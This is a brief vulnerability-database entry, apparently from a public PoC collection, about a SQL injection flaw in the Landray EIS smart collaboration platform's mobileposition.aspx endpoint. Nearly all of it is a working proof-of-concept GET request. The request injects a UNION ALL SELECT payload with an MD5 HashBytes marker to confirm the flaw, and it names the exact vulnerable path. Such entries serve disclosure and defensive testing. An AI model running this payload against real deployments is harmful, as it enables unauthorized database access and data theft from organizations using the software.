蓝凌EIS智慧协助平台 /mobileapp/address/mobileposition.aspx SQL注入漏洞

2024-04-29 蓝凌EIS智慧协同平台 PoC Public

Description

蓝凌EIS智慧协助平台 /mobileapp/address/mobileposition.aspx SQL注入漏洞

PoC

GET /mobileapp/address/mobileposition.aspx?search=1')+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,sys.fn_sqlvarbasetostr(HashBytes('MD5','ledrnoik')),NULL,NULL,NULL--+LMRq HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://stack.chaitin.com/vuldb/detail/2d5c929e-2832-46dd-80be-e13c5c519a7e

Related Vulnerabilities